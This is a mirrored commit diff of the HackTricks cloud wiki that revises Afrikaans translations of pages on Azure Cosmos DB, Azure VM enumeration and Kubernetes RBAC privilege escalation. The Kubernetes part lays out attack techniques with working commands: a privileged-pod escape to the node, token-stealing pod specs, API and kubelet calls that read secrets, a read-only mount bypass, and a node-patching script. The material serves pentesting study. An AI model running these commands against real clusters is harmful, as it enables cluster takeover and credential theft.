mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB
This commit is contained in:
Translator
@@ -21,7 +21,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png"
|
||||
|
||||
Azure Cosmos DB bied verskeie databasis API's om werklike data te modelleer met behulp van dokumente, relationele, sleutel-waarde, grafiek, en kolom-familie datamodelles, wat hierdie API's NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin en Tabel is.
|
||||
|
||||
Een sleutel aspek van CosmosDB is Azure Cosmos Account. **Azure Cosmos Account** dien as die toegangspunt tot die databasisse. Die rekening bepaal sleutelinstellings soos globale verspreiding, konsekwentievlakke, en die spesifieke API wat gebruik moet word, soos NoSQL. Deur die rekening kan jy globale replikaasies konfigureer om te verseker dat data beskikbaar is oor verskeie streke vir lae-latensie toegang. Boonop kan jy 'n konsekwentievlak kies wat 'n balans tussen prestasie en datanauwkeurigheid handhaaf, met opsies wat wissel van Sterk tot Finale konsekwentheid.
|
||||
Een sleutel aspek van CosmosDB is Azure Cosmos Account. **Azure Cosmos Account** dien as die toegangspunt tot die databasisse. Die rekening bepaal sleutelinstellings soos globale verspreiding, konsekwentievlakke, en die spesifieke API wat gebruik moet word, soos NoSQL. Deur die rekening kan jy globale replikaasies konfigureer om te verseker dat data beskikbaar is oor verskeie streke vir lae-latensie toegang. Boonop kan jy 'n konsekwentievlak kies wat 'n balans tussen prestasie en datanauwkeurigheid handhaaf, met opsies wat wissel van Sterk tot Geleidelike konsekwentheid.
|
||||
|
||||
### NoSQL (sql)
|
||||
Die Azure Cosmos DB NoSQL API is 'n dokument-gebaseerde API wat JSON as sy dataformaat gebruik. Dit bied 'n SQL-agtige vraagsintaksis vir die opvra van JSON-objekte, wat dit geskik maak vir die werk met gestruktureerde en semi-gestruktureerde data. Die eindpunt van die diens is:
|
||||
@@ -33,7 +33,7 @@ https://<Account-Name>.documents.azure.com:443/
|
||||
{% endcode %}
|
||||
|
||||
#### Databasies
|
||||
Binne 'n rekening kan jy een of meer databasies skep, wat dien as logiese groepe van houers. 'n Databasis dien as 'n grense vir hulpbronbestuur en gebruikersregte. Databasies kan of die toegewyde deurvoer oor hul houers deel of toegewyde deurvoer aan individuele houers toewys.
|
||||
Binne 'n rekening kan jy een of meer databasies skep, wat dien as logiese groepe van houers. 'n Databasis dien as 'n grense vir hulpbronbestuur en gebruikersregte. Databasies kan of die toegewyde deurset oor hul houers deel of toegewyde deurset aan individuele houers toewys.
|
||||
|
||||
#### Houers
|
||||
Die kern eenheid van data-opberging is die houer, wat JSON-dokumente bevat en outomaties geindexeer word vir doeltreffende navraag. Houers is elasties skaalbaar en versprei oor partisie, wat bepaal word deur 'n deur gebruiker gedefinieerde partisie sleutel. Die partisie sleutel is krities vir die verseker van optimale prestasie en eweredige data verspreiding. Byvoorbeeld, 'n houer kan klantdata stoor, met "customerId" as die partisie sleutel.
|
||||
@@ -131,7 +131,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -A
|
||||
|
||||
#### Verbinding
|
||||
|
||||
Om die azure-cosmosDB (pip install azure-cosmos) biblioteek te verbind, is dit nodig. Boonop is die eindpunt en die sleutel belangrike komponente om die verbinding te maak.
|
||||
Om die azure-cosmosDB (pip install azure-cosmos) biblioteek te verbind, is dit nodig. Boonop is die eindpunt en die sleutel kritieke komponente om die verbinding te maak.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
@@ -173,7 +173,7 @@ print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
'n Ander manier om 'n verbinding te vestig, is om die **DefaultAzureCredential()** te gebruik. Jy moet net aanmeld (az login) met die rekening wat die regte het en dit uitvoer. Vir hierdie geval moet 'n roltoewysing gedoen word, wat die nodige regte gee (sien vir meer)
|
||||
'n Ander manier om 'n verbinding te vestig, is om die **DefaultAzureCredential()** te gebruik. Jy moet net aanmeld (az login) met die rekening wat die toestemmings het en dit uitvoer. Vir hierdie geval moet 'n roltoewysing gedoen word, wat die nodige toestemmings gee (sien vir meer)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
@@ -211,11 +211,11 @@ mongodb://<hostname>:<port>/<database>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Databasas
|
||||
In MongoDB kan jy een of meer databasas binne 'n instansie skep. Elke databasas dien as 'n logiese groep van versamelings en bied 'n grense vir hulpbronorganisasie en -bestuur. Databasas help om data logies te skei en te bestuur, soos vir verskillende toepassings of projekte.
|
||||
#### Databasies
|
||||
In MongoDB kan jy een of meer databasies binne 'n instansie skep. Elke databasis dien as 'n logiese groep van versamelings en bied 'n grense vir hulpbronorganisasie en -bestuur. Databasies help om data logies te skei en te bestuur, soos vir verskillende toepassings of projekte.
|
||||
|
||||
#### Versamelings
|
||||
Die kern eenheid van data-opberging in MongoDB is die versameling, wat dokumente hou en ontwerp is vir doeltreffende navraag en buigsame skema-ontwerp. Versamelings is elasties skaalbaar en kan hoë-deurset operasies oor verskeie nodes in 'n verspreide opstelling ondersteun.
|
||||
Die kern eenheid van data-opberging in MongoDB is die versameling, wat dokumente hou en ontwerp is vir doeltreffende navraag en buigsame skema-ontwerp. Versamelings is elasties skaalbaar en kan hoë-deursetbedrywighede oor verskeie nodes in 'n verspreide opstelling ondersteun.
|
||||
|
||||
#### Enumerasie
|
||||
|
||||
|
||||
@@ -1,37 +0,0 @@
|
||||
# Az - VMs Unath
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Virtuele Masjiene
|
||||
|
||||
Vir meer inligting oor Azure Virtuele Masjiene, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Blootgestelde kwesbare diens
|
||||
|
||||
'n Netwerkdiens wat kwesbaar is vir sommige RCE.
|
||||
|
||||
### Publieke Galery Beelde
|
||||
|
||||
'n Publieke beeld mag geheime daarin hê:
|
||||
```bash
|
||||
# List all community galleries
|
||||
az sig list-community --output table
|
||||
|
||||
# Search by publisherUri
|
||||
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
|
||||
```
|
||||
### Publieke Uitbreidings
|
||||
|
||||
Dit sou meer vreemd wees, maar nie onmoontlik nie. 'n Groot maatskappy mag 'n uitbreiding met sensitiewe data daarin plaas:
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -7,17 +7,17 @@ Onthou dat jy al die ondersteunde hulpbronne kan kry met `kubectl api-resources`
|
||||
|
||||
## **Privilegie Eskalasie**
|
||||
|
||||
Verwys na die kuns om **toegang te verkry tot 'n ander prinsiep** binne die kluster **met verskillende voorregte** (binne die kubernetes kluster of na eksterne wolke) as diegene wat jy reeds het, in Kubernetes is daar basies **4 hoof tegnieke om voorregte te eskaleer**:
|
||||
Verwys na die kuns om **toegang te verkry tot 'n ander prinsiep** binne die kluster **met verskillende privilige** (binne die kubernetes kluster of na eksterne wolke) as diegene wat jy reeds het, in Kubernetes is daar basies **4 hoof tegnieke om privilige te eskaleer**:
|
||||
|
||||
- In staat wees om **te verteenwoordig** ander gebruikers/groepe/SAs met beter voorregte binne die kubernetes kluster of na eksterne wolke
|
||||
- In staat wees om **te skep/patch/exec pods** waar jy **SAs kan vind of aanheg** met beter voorregte binne die kubernetes kluster of na eksterne wolke
|
||||
- In staat wees om **te verteenwoordig** ander gebruikers/groepe/SAs met beter privilige binne die kubernetes kluster of na eksterne wolke
|
||||
- In staat wees om **te skep/te patch/te exec pods** waar jy **SAs kan vind of aanheg** met beter privilige binne die kubernetes kluster of na eksterne wolke
|
||||
- In staat wees om **geheime te lees** aangesien die SAs tokens as geheime gestoor word
|
||||
- In staat wees om **te ontsnap na die node** vanaf 'n houer, waar jy al die geheime van die houers wat in die node loop, die akrediteer van die node, en die toestemmings van die node binne die wolk waarin dit loop (indien enige)
|
||||
- 'n Vyfde tegniek wat 'n vermelding werd is, is die vermoë om **port-forward** in 'n pod te laat loop, aangesien jy dalk toegang kan verkry tot interessante hulpbronne binne daardie pod.
|
||||
- 'n Vyfde tegniek wat 'n vermelding werd is, is die vermoë om **port-forward** in 'n pod te loop, aangesien jy dalk toegang kan verkry tot interessante hulpbronne binne daardie pod.
|
||||
|
||||
### Toegang tot Enige Hulpbron of Werkwoord (Wildcard)
|
||||
|
||||
Die **wildcard (\*) gee toestemming oor enige hulpbron met enige werkwoord**. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enigenamespace in die kluster kan misbruik
|
||||
Die **wildcard (\*) gee toestemming oor enige hulpbron met enige werkwoord**. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enige namespace in die kluster kan misbruik
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -33,8 +33,8 @@ verbs: ["*"]
|
||||
|
||||
In RBAC bied sekere toestemmings beduidende risiko's:
|
||||
|
||||
1. **`create`:** Gee die vermoë om enige klusterhulpbron te skep, wat die risiko van privilige-eskalasie inhou.
|
||||
2. **`list`:** Laat die lys van alle hulpbronne toe, wat moontlik sensitiewe data kan lek.
|
||||
1. **`create`:** Gee die vermoë om enige klusterhulpbron te skep, wat 'n risiko vir privilige-eskalasie inhou.
|
||||
2. **`list`:** Laat toe om alle hulpbronne te lys, wat moontlik sensitiewe data kan lek.
|
||||
3. **`get`:** Laat toegang tot geheime van diensrekeninge toe, wat 'n sekuriteitsbedreiging inhou.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
@@ -47,9 +47,9 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Skep - Steel Token
|
||||
### Pod Create - Steal Token
|
||||
|
||||
'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die bevoegdhede na hom te verhoog.
|
||||
'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die regte te verhoog.
|
||||
|
||||
Voorbeeld van 'n pod wat die token van die `bootstrap-signer` diensrekening sal steel en dit na die aanvaller sal stuur:
|
||||
```yaml
|
||||
@@ -77,8 +77,8 @@ hostNetwork: true
|
||||
Die volgende dui al die voorregte aan wat 'n houer kan hê:
|
||||
|
||||
- **Bevoorregte toegang** (deaktiveer beskermings en stel vermoëns in)
|
||||
- **Deaktiveer namespaces hostIPC en hostPid** wat kan help om voorregte te verhoog
|
||||
- **Deaktiveer hostNetwork** namespace, wat toegang gee om nodes se wolkvoorregte te steel en beter toegang tot netwerke te verkry
|
||||
- **Deaktiveer namespaces hostIPC en hostPid** wat kan help om voorregte te eskaleer
|
||||
- **Deaktiveer hostNetwork** namespace, wat toegang gee om nodes se wolkvoorregte te steel en beter toegang tot netwerke
|
||||
- **Monteer gashere / binne die houer**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
@@ -123,11 +123,9 @@ Een-liner van [hierdie tweet](https://twitter.com/mauilion/status/11294684854807
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Now that you can escape to the node check post-exploitation techniques in:
|
||||
|
||||
#### Stealth
|
||||
|
||||
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
|
||||
Jy wil waarskynlik **stealthier** wees, in die volgende bladsye kan jy sien waartoe jy toegang kan verkry as jy 'n pod skep wat slegs sommige van die genoemde voorregte in die vorige sjabloon inskakel:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,14 +134,14 @@ You probably want to be **stealthier**, in the following pages you can see what
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_Jy kan 'n voorbeeld vind van hoe om die vorige voorregte pod-konfigurasies te skep/te misbruik in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
|
||||
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
|
||||
As jy 'n **pod** (en opsioneel 'n **service account**) kan **skep**, kan jy dalk **voorregte in die wolkomgewing verkry** deur **wolkrroles aan 'n pod of 'n service account toe te ken** en dit dan te benader.\
|
||||
Boonop, as jy 'n **pod met die host netwerk naamruimte** kan skep, kan jy die **IAM** rol van die **node** instansie **steel**.
|
||||
|
||||
For more information check:
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
@@ -151,9 +149,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example.
|
||||
Dit is moontlik om hierdie toestemmings te misbruik om 'n **nuwe pod** te **skep** en voorregte te verkry soos in die vorige voorbeeld.
|
||||
|
||||
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
Die volgende yaml **skep 'n daemonset en eksfiltreer die token van die SA** binne die pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -205,7 +203,7 @@ kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
Soos [**aange dui in hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang het tot of 'n pod kan skep met die **hosts `/var/log/` gids gemonteer** daarop, kan jy **uit die houer ontsnap**.\
|
||||
Soos [**aangegee in hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang het tot of 'n pod kan skep met die **hosts `/var/log/` gids gemonteer** daarop, kan jy **uit die houer ontsnap**.\
|
||||
Dit is basies omdat wanneer die **Kube-API probeer om die logs** van 'n houer te kry (met `kubectl logs <pod>`), dit **die `0.log`** lêer van die pod aanvra deur die `/logs/` eindpunt van die **Kubelet** diens.\
|
||||
Die Kubelet diens stel die `/logs/` eindpunt bloot wat basies net die **`/var/log` lêerstelsel van die houer** blootstel.
|
||||
|
||||
@@ -235,7 +233,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
|
||||
#### Om te verbygaan readOnly beskerming <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
As jy gelukkig genoeg is en die hoogs bevoorregte vermoë `CAP_SYS_ADMIN` beskikbaar is, kan jy net die gids as rw hermonteer:
|
||||
As jy gelukkig genoeg is en die hoogs bevoorregte vermoë `CAP_SYS_ADMIN` beskikbaar is, kan jy net die gids weer monteer as rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
@@ -247,7 +245,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Wat bedoel was om ontsnapings soos die vorige te voorkom deur, in plaas van 'n hostPath-mount te gebruik, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n gasheer se gids in die houer met skryftoegang te monteer:
|
||||
Wat bedoel was om ontsnapings soos die vorige te voorkom deur, in plaas van 'n hostPath mount, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n gasheer se gids in die houer met skryftoegang te monteer:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -310,7 +308,7 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Lys van Geheime
|
||||
### Lys van Geheimen
|
||||
|
||||
Die toestemming om **geheime te lys kan 'n aanvaller in staat stel om werklik die geheime te lees** deur toegang te verkry tot die REST API-eindpunt:
|
||||
```bash
|
||||
@@ -319,7 +317,7 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
|
||||
### Skep en Lees Geheimen
|
||||
|
||||
Daar is 'n spesiale soort Kubernetes geheim van tipe **kubernetes.io/service-account-token** wat serviceaccount tokens stoor.
|
||||
As jy toestemmings het om geheimen te skep en te lees, en jy weet ook die serviceaccount se naam, kan jy 'n geheim soos volg skep en dan die slagoffer se serviceaccount token daaruit steel:
|
||||
As jy toestemmings het om geheimen te skep en te lees, en jy weet ook die naam van die serviceaccount, kan jy 'n geheim soos volg skep en dan die slagoffer se serviceaccount token daaruit steel:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -330,7 +328,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Voorbeeld uitbuiting:
|
||||
Voorbeeld van uitbuiting:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -382,11 +380,11 @@ Let daarop dat as jy toegelaat word om geheime in 'n sekere naamruimte te skep e
|
||||
|
||||
### Lees 'n geheim – brute-forcing token ID's
|
||||
|
||||
Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die breër _**lys geheime**_ voorreg, is daar steeds kwesbaarhede. Standaard diensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie geheime het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n ewekansige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die [bronkode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, anders as die breër _**lys geheime**_ voorreg, is daar steeds kwesbaarhede. Standaard diensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie geheime het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n willekeurige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die [bronkode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Die token word gegenereer uit 'n beperkte 27-karakter stel (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan 'n aanvaller haalbaar 'n brute-force aanval uitvoer om die token binne 'n paar uur af te lei, wat moontlik kan lei tot voorregverhoging deur toegang tot sensitiewe diensrekeninge.
|
||||
|
||||
### Sertifikaat Handtekening Versoeke
|
||||
### Sertifikaatondertekening Versoeke
|
||||
|
||||
As jy die werkwoorde **`create`** in die hulpbron `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het. Jy kan **create** 'n nuwe CeSR van 'n **nuwe node.**
|
||||
|
||||
@@ -425,7 +423,7 @@ verbs:
|
||||
```
|
||||
So, met die nuwe node CSR goedgekeur, kan jy die spesiale toestemmings van nodes **misbruik** om **geheime** te **steel** en **privileges te verhoog**.
|
||||
|
||||
In [**hierdie pos**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) en [**hierdie een**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap konfigurasie geconfigureer met **outomatiese ondertekening** en dit word misbruik om geloofsbriewe van 'n nuwe K8s Node te genereer en dan dit te misbruik om privileges te verhoog deur geheime te steel.\
|
||||
In [**hierdie pos**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) en [**hierdie een**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap konfigurasie ingestel met **outomatiese ondertekening** en dit word misbruik om geloofsbriewe van 'n nuwe K8s Node te genereer en dan dit te misbruik om privileges te verhoog deur geheime te steel.\
|
||||
As jy **die genoemde privileges het, kan jy dieselfde ding doen**. Let daarop dat die eerste voorbeeld die fout om 'n nuwe node te verhoed om geheime binne houers te benader, omseil omdat 'n **node slegs toegang kan hê tot die geheime van houers wat daarop gemonteer is.**
|
||||
|
||||
Die manier om dit te omseil, is net om **'n node-geloofsbrief te skep vir die nodenaam waar die houer met die interessante geheime gemonteer is** (maar kyk net hoe om dit in die eerste pos te doen):
|
||||
@@ -434,7 +432,7 @@ Die manier om dit te omseil, is net om **'n node-geloofsbrief te skep vir die no
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Beginsels wat **`configmaps`** in die kube-system naamruimte op EKS (moet in AWS wees) klusters kan wysig, kan cluster admin voorregte verkry deur die **aws-auth** configmap te oorskryf.\
|
||||
Beginsels wat **`configmaps`** in die kube-system naamruimte op EKS (moet in AWS) klusters kan wysig, kan cluster admin voorregte verkry deur die **aws-auth** configmap te oorskryf.\
|
||||
Die werkwoorde wat benodig word, is **`update`** en **`patch`**, of **`create`** as die configmap nie geskep is nie:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -477,18 +475,18 @@ groups:
|
||||
> [!WARNING]
|
||||
> Jy kan **`aws-auth`** gebruik vir **volharding** om toegang te gee aan gebruikers van **ander rekeninge**.
|
||||
>
|
||||
> egter, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **werk nie vanaf 'n ander rekening nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die kluster in plaas van net die naam sit.\
|
||||
> egter, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **werk nie vanaf 'n ander rekening nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die kluster in plaas van net die naam plaas.\
|
||||
> Om `kubectl` te laat werk, maak net seker om die **slagoffers kubeconfig** te **konfigureer** en voeg in die aws exec args `--profile other_account_role` sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.
|
||||
|
||||
### Escalating in GKE
|
||||
|
||||
Daar is **2 maniere om K8s toestemmings aan GCP prinsipes toe te ken**. In enige geval moet die prinsiep ook die toestemming **`container.clusters.get`** hê om in staat te wees om geloofsbriewe te versamel om toegang tot die kluster te verkry, of jy sal jou eie kubectl konfigurasie lêer moet **genereer** (volg die volgende skakel).
|
||||
Daar is **2 maniere om K8s toestemmings aan GCP prinsipes toe te ken**. In enige geval moet die prinsipe ook die toestemming **`container.clusters.get`** hê om inligting te kan versamel om toegang tot die kluster te verkry, of jy sal jou eie kubectl konfigurasie lêer moet **genereer** (volg die volgende skakel).
|
||||
|
||||
> [!WARNING]
|
||||
> Wanneer daar met die K8s api eindpunt gepraat word, sal die **GCP auth token gestuur word**. Dan sal GCP, deur die K8s api eindpunt, eers **kontroleer of die prinsiep** (per e-pos) **enige toegang binne die kluster het**, dan sal dit kontroleer of dit **enige toegang via GCP IAM** het.\
|
||||
> Wanneer daar met die K8s api eindpunt gepraat word, sal die **GCP auth token gestuur word**. Dan sal GCP, deur die K8s api eindpunt, eers **kontroleer of die prinsipe** (per e-pos) **enige toegang binne die kluster het**, dan sal dit kontroleer of dit **enige toegang via GCP IAM** het.\
|
||||
> As **enige** van daardie **waar** is, sal hy **geantwoord** word. As **nie** nie, sal 'n **fout** wat voorstel om **toestemmings via GCP IAM** te gee, gegee word.
|
||||
|
||||
Dan is die eerste metode om **GCP IAM** te gebruik, die K8s toestemmings het hul **gelykwaardige GCP IAM toestemmings**, en as die prinsiep dit het, sal dit in staat wees om dit te gebruik.
|
||||
Dan is die eerste metode om **GCP IAM** te gebruik, die K8s toestemmings het hul **gelyke GCP IAM toestemmings**, en as die prinsipe dit het, sal dit in staat wees om dit te gebruik.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -504,7 +502,7 @@ Prinsipes wat **TokenRequests** (`serviceaccounts/token`) kan **skep** wanneer d
|
||||
|
||||
Prinsipes wat **`update`** of **`patch`** **`pods/ephemeralcontainers`** kan **kode-uitvoering op ander pods** verkry, en potensieel **uitbreek** na hul node deur 'n ephemeral container met 'n bevoorregte securityContext by te voeg.
|
||||
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
### ValidatingWebhookConfigurations of MutatingWebhookConfigurations
|
||||
|
||||
Prinsipes met enige van die werkwoorde `create`, `update` of `patch` oor `validatingwebhookconfigurations` of `mutatingwebhookconfigurations` mag in staat wees om **een van sulke webhookconfigurations te skep** om in staat te wees om **toestemmings te verhoog**.
|
||||
|
||||
@@ -512,7 +510,7 @@ Vir 'n [`mutatingwebhookconfigurations` voorbeeld kyk hierdie afdeling van hierd
|
||||
|
||||
### Escalate
|
||||
|
||||
Soos jy in die volgende afdeling kan lees: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), kan 'n prinsiep nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het.\
|
||||
Soos jy in die volgende afdeling kan lees: [**Ingeboude Bevoorregte Verhoging Voorkoming**](#built-in-privileged-escalation-prevention), kan 'n prinsipe nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het.\
|
||||
Dan kan hy nuwe rolle, clusterroles met beter toestemmings as diegene wat hy het, opdateer/skep.
|
||||
|
||||
### Nodes proxy
|
||||
@@ -527,7 +525,7 @@ Jy het 'n voorbeeld van hoe om [**RCE te kry deur met 'n Kubelet API te praat hi
|
||||
|
||||
### Delete pods + unschedulable nodes
|
||||
|
||||
Prinsipes wat **pods kan verwyder** (`delete` werkwoord oor `pods` hulpbron), of **pods kan verplaas** (`create` werkwoord oor `pods/eviction` hulpbron), of **podstatus kan verander** (toegang tot `pods/status`) en kan **ander nodes ongeskeduleer maak** (toegang tot `nodes/status`) of **nodes kan verwyder** (`delete` werkwoord oor `nodes` hulpbron) en beheer oor 'n pod het, kan **pods van ander nodes steel** sodat hulle in die **gekompromitteerde** **node** uitgevoer word en die aanvaller kan **die tokens** van daardie pods **steel**.
|
||||
Prinsipes wat **pods kan verwyder** (`delete` werkwoord oor `pods` hulpbron), of **pods kan verplaas** (`create` werkwoord oor `pods/eviction` hulpbron), of **podstatus kan verander** (toegang tot `pods/status`) en kan **ander nodes ongeskeduleer maak** (toegang tot `nodes/status`) of **nodes verwyder** (`delete` werkwoord oor `nodes` hulpbron) en beheer oor 'n pod het, kan **pods van ander nodes steel** sodat hulle **uitgevoer** word in die **gekompromitteerde** **node** en die aanvaller kan **die tokens** van daardie pods **steel**.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -540,29 +538,29 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Dienste status (CVE-2020-8554)
|
||||
|
||||
Beginsels wat **modifiseer** **`services/status`** kan die `status.loadBalancer.ingress.ip` veld stel om die **onopgeloste CVE-2020-8554** te benut en **MiTM-aanvalle teen die kluster** te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Principals wat **modifiseer** **`services/status`** kan die `status.loadBalancer.ingress.ip` veld stel om die **onopgeloste CVE-2020-8554** te misbruik en **MiTM-aanvalle teen die kluster** te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Nodes en Pods status
|
||||
|
||||
Beginsels met **`update`** of **`patch`** toestemmings oor `nodes/status` of `pods/status`, kan etikette modifiseer om skeduleringsbeperkings te beïnvloed.
|
||||
Principals met **`update`** of **`patch`** toestemmings oor `nodes/status` of `pods/status`, kan etikette modifiseer om skeduleringsbeperkings te beïnvloed.
|
||||
|
||||
## Ingeboude Privilege Escalation Preventie
|
||||
|
||||
